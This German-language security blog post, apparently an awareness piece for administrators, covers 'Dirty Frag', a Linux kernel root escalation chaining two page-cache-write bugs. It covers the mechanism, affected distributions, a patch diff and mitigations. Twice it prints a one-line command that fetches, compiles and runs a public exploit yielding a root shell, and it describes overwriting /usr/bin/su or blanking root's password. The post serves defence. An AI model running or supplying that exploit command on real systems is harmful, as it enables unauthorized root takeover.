Schon wieder Linux Local Privilege Escalation
Dirty Frag ist eine neue Linux-Kernel-Schwachstelle, mit der sich aus einem normalen Benutzerkonto heraus Root-Rechte erlangen lassen - auf nahezu allen verbreiteten Distributionen.
Gestern wurde mit Dirty Frag eine neue Schwachstellen-Klasse im Linux-Kernel veröffentlicht, die es einem unprivilegierten Benutzer ermöglicht, Root-Rechte auf nahezu allen verbreiteten Linux-Distributionen zu erlangen. Der Exploit ist öffentlich verfügbar, besteht aus einer einzigen Kommandozeile und funktioniert deterministisch - ohne Race Condition und ohne Kernel-Absturz.
Wer es schnell testen will, prüft es so in seiner Konsole:
michael@mmhack:~ $ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
root@mmhack:~ # id
uid=0(root) gid=0(root) Gruppen=0(root)Dieser Artikel richtet sich als Awareness-Maßnahme an Administratoren, Betreiber kritischer Infrastrukturen und alle, die Linux-Systeme im Einsatz haben. Ich zeige, wie einfach die Ausnutzung in der Praxis ist, wie der Angriff technisch funktioniert und welche Gegenmaßnahmen sofort ergriffen werden können.
Hintergrund: Die "Dirty"-Familie
Dirty Frag ist kein isolierter Fund. Die Schwachstelle gehört zur selben Klasse wie Dirty Pipe (CVE-2022-0847) und Copy Fail, über die hier auf dem Blog bereits berichtet wurde: Copy Fail.


Allen drei gemein ist das Prinzip des Page-Cache Write: Durch eine Kombination aus splice() und Kernel-internen Zero-Copy-Pfaden wird ein Angreifer in die Lage versetzt, Dateien im RAM-Cache zu überschreiben, auf die er nur Leserechte besitzt - darunter /etc/passwd oder /usr/bin/su. Der Kernel liest bei späteren Zugriffen die veränderte Kopie, ohne dass die Datei auf der Festplatte berührt wird.
Dirty Frag reproduziert dieses Muster nicht auf struct pipe_buffer wie Dirty Pipe, sondern auf dem frag-Feld eines struct sk_buff - dem internen Netzwerkpuffer des Kernels.
Die zwei Schwachstellen
Dirty Frag verkettet zwei separate Kernel-Bugs, die sich gegenseitig ergänzen.
CVE-2026-43284 - xfrm-ESP Page-Cache Write
In esp_input() - dem Empfangspfad für IPsec-ESP-Pakete - wird unter bestimmten Bedingungen skb_cow_data() übersprungen. Diese Funktion sollte sicherstellen, dass vor einer In-place-Krypto-Operation zunächst eine private Kopie der Daten angelegt wird. Ist der skb nicht geklont und hat keine frag_list, springt der Code direkt zur In-place-Entschlüsselung - auch dann, wenn der frag des skb auf eine Page-Cache-Seite zeigt, die der Angreifer zuvor per splice() dort platziert hat.
Das Ergebnis: crypto_authenc_esn_decrypt() schreibt 4 Byte direkt in den Page Cache einer Datei, auf die der Angreifer nur Leserechte hat. Der Schreibwert ist der seq_hi-Wert aus dem SA-Header, den der Angreifer beim Anlegen der XFRM Security Association frei wählen kann. Offset und Wert sind damit vollständig kontrollierbar.
Dieser Angriffspfad erfordert CAP_NET_ADMIN - also die Berechtigung, einen User-Namespace anzulegen (unshare(CLONE_NEWUSER)).
Der Patch für CVE-2026-43284 wurde am 7. Mai 2026 in den netdev-Baum gemergt (Commit f4c50a4034e6). Er ergänzt in esp_input und esp6_input eine Prüfung auf das SKBFL_SHARED_FRAG-Flag, das in den IPv4/IPv6-Datagramm-Append-Pfaden gesetzt wird, wenn Seiten per splice() eingebracht wurden.
CVE-2026-43500 - RxRPC Page-Cache Write
rxkad_verify_packet_1() führte eine In-place-Entschlüsselung mit pcbc(fcrypt) direkt auf dem frag des empfangenen skb durch, ohne vorher zu prüfen, ob dieser frag auf eine Page-Cache-Seite zeigt. Da der RxRPC-Pfad keine Namespace-Berechtigung benötigt, ist dieser Angriffsweg auch für vollständig unprivilegierte Benutzer ohne jede zusätzliche Berechtigung nutzbar.
Da fcrypt ein deterministischer 56-Bit-Blockchiffre ist, lässt sich der Schreibwert durch Brute-Force eines Session-Keys in wenigen Millisekunden bis Sekunden im User-Space vorhersagen. Als Ziel dient Zeile 1 von /etc/passwd (der root-Eintrag): Durch drei überlappende Schreiboperationen wird das Passwortfeld auf einen Leerstring gesetzt, woraufhin PAM mit nullok-Konfiguration den Login ohne Passwort akzeptiert.
Für CVE-2026-43500 existiert bisher kein gemergter Patch. Der Autor hat einen Patch-Vorschlag eingereicht.
Betroffene Systeme
CVE-2026-43284 betrifft Kernel-Versionen von Januar 2017 bis Mai 2026 - eine effektive Lebensdauer von etwa 9 Jahren.
CVE-2026-43500 betrifft Kernel-Versionen ab Juni 2023 und ist zum Zeitpunkt der Veröffentlichung in allen aktuellen Trees ungepatch.
Getestete und bestätige betroffene Distributionen:
- Ubuntu 24.04.4 (Kernel 6.17.0-23-generic)
- RHEL 10.1 (Kernel 6.12.0-124.49.1.el10_1.x86_64)
- openSUSE Tumbleweed (Kernel 7.0.2-1-default)
- CentOS Stream 10 (Kernel 6.12.0-224.el10.x86_64)
- AlmaLinux 10 (Kernel 6.12.0-124.52.3.el10_1.x86_64)
- Fedora 44 (Kernel 6.19.14-300.fc44.x86_64)
Wie einfach ist die Ausnutzung?
Der gesamte Exploit lässt sich mit einer einzigen Kommandozeile kompilieren und ausführen:
michael@mmhack:~ $ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
root@mmhack:~ # id
uid=0(root) gid=0(root) Gruppen=0(root)Die Ausnutzung läuft vollständig deterministisch ab. Es wird keine Race Condition benötigt, und ein fehlgeschlagener Versuch führt nicht zu einem Kernel-Absturz. Der Exploit prüft selbst, welcher der beiden Angriffspfade in der aktuellen Umgebung verfügbar ist:
- Ist
unshare(CLONE_NEWUSER)erlaubt, wird der ESP-Pfad verwendet, der/usr/bin/suim Page Cache mit einem statischen Root-Shell-ELF überschreibt (192 Byte, aufgeteilt in 48 x 4-Byte-Schreiboperationen). - Ist der User-Namespace gesperrt (z. B. durch Ubuntu-AppArmor-Policy), greift der RxRPC-Pfad, der das Passwortfeld in
/etc/passwdleert.
Der Ablauf in einfachen Worten:
- Der Angreifer nutzt eine Schwachstelle im Linux-Kernel.
Konkret in einer Netzwerk-/VPN-Funktion. - Dadurch kann er Speicherbereiche manipulieren, die eigentlich schreibgeschützt sein sollten.
- Er ersetzt Teile eines vertrauenswürdigen Systemprogramms durch eigenen Code.
- Das manipulierte Programm wird gestartet.
- Weil das Programm normalerweise Administratorrechte besitzt, bekommt auch der Schadcode volle Root-Rechte.
Das ist besonders kritisch in KRITIS-Umgebungen, weil:
- klassische Virenscanner den Angriff eventuell nicht erkennen,
- keine sichtbare Malware-Datei entstehen muss,
- ein Angreifer sehr unauffällig Administratorrechte erhält,
- und danach komplette Systeme kontrollieren kann.
Praktische Bedeutung für den Betrieb:
So ein Angriff wäre typischerweise geeignet für:
- gezielte Angriffe auf Rechenzentren,
- staatliche Akteure,
- Ransomware-Gruppen,
- oder Supply-Chain-Angriffe.
Der Patch - was ändert sich?
CVE-2026-43284 (gepatcht)
Der gemergete Patch setzt in den IPv4/IPv6-Datagramm-Append-Pfaden ein neues SKBFL_SHARED_FRAG-Flag, wenn Seiten per splice() ohne MSG_NO_SHARED_FRAGS eingefügt werden. In esp_input und esp6_input wird dieses Flag vor dem skip_cow-Sprung geprüft:
- } else if (!skb_has_frag_list(skb)) {
+ } else if (!skb_has_frag_list(skb) &&
+ !skb_has_shared_frag(skb)) {
Damit werden skbs mit extern eingebundenen Page-Cache-Seiten immer über skb_cow_data geleitet, bevor eine In-place-Operation stattfindet.
michael@michael:~ $ ./exp
dirtyfrag: failed (rc=1)CVE-2026-43500 (ungepatcht, Patch eingereicht)
Der vorgeschlagene Patch für den RxRPC-Pfad ergänzt die Bedingung skb_cloned(skb) um || skb->data_len, sodass auch nicht-lineare skbs (d. h. solche mit einem frag, der auf den Page Cache zeigt) zunächst per skb_copy() isoliert werden, bevor die In-place-Entschlüsselung läuft.
Sofortmaßnahmen
Da CVE-2026-43500 aktuell auf allen Distributionen ungepatch ist und CVE-2026-43284 erst nach einem Kernel-Update geschlossen wird, empfiehlt sich folgende sofortige Gegenmaßnahme - das Deaktivieren der betroffenen Kernel-Module:
cat <<-EOF > /etc/modprobe.d/dirtyfrag.conf
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
EOF
rmmod esp4 esp6 rxrpcDieser Befehl verhindert das Laden von esp4, esp6 und rxrpc und bereinigt den Page Cache. Systeme, die auf IPsec-Transport (esp4/esp6) angewiesen sind, müssen dies abwägen und priorisiert einen Kernel-Update einspielen.
Nach einem erfolgreichen Exploit-Lauf ist der Page Cache kontaminiert. Zur Bereinigung genügt:
echo 3 > /proc/sys/vm/drop_caches
oder ein Reboot des Systems.
Fazit
Dirty Frag zeigt erneut, wie tief verwurzelte Design-Annahmen im Kernel - in diesem Fall der Zero-Copy-Pfad über splice() und die Erreichbarkeit des Page Cache durch Netzwerksubsysteme - zur Grundlage verlässlicher Privilege-Escalation-Techniken werden können. Die Schwachstelle war im Falle von CVE-2026-43284 fast neun Jahre im Kernel aktiv. CVE-2026-43500 ist zum Zeitpunkt dieses Artikels auf allen Systemen weiterhin ausnutzbar.
Besonders kritisch ist, dass die bekannte Gegenmaßnahme für Copy Fail (Blacklist von algif_aead) hier wirkungslos ist: Dirty Frag nutzt einen anderen Pfad und ist davon völlig unabhängig.
Für Betreiber kritischer Infrastrukturen gilt: Die oben beschriebenen Modul-Sperren sind sofort einzuspielen. Kernel-Updates sind zu priorisieren, sobald die jeweilige Distribution einen Backport bereitstellt.
